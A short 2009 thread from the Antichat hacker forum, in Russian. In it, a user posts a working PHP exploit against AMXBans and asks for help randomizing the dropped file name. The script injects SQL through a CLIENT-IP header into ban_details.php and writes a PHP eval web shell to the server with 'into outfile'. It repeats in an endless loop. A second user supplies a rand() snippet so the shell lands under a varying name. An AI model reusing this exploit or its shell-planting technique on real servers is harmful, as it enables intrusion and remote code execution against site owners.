Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Болталка (https://forum.antichat.xyz/forumdisplay.php?f=46)
-   -   Помогите с пхп (https://forum.antichat.xyz/showthread.php?t=162869)

kodzero 12.12.2009 04:17

Помогите с пхп
 
Собсна сабж.Есть скрипт
Цитата:

<?php
name:
$url = 'http://10.106.236.88/amxbans/';
$text = '<?php eval($_GET[c]);?>';
$path = '/home/10.106.236.88/forum/amxbans/';
$file = 'demos/shell.php';

$postdata = http_build_query(
array(
'action' => 'insert',
'verify' => ""
)
);
$opts = array('http' =>
array(
'method' => 'POST',
'header' => "Content-type: application/x-www-form-urlencoded\r\n"
."CLIENT-IP: 0' union select '".addslashes($text)."' into outfile '".$path.$file."'#",
'content' => $postdata
)
);
$context = stream_context_create($opts);
@file_get_contents($url.'ban_details.php?bhid=-1', false, $context);
echo "Check: ".$url.$file."\n";
goto name;
?>

Нужно чтоб $file = 'demos/shell.php'; генерировалось случайным образом.Например $file = 'demos/4514fsdf.php';

Tigger 12.12.2009 04:35

немного не понял, что тебе надо о_0

PHP код:

$rand rand(19999);
$file trim("demos/".$rand."shell.php"); 

такое?

kodzero 12.12.2009 04:52

ога спс биг


Время: 02:40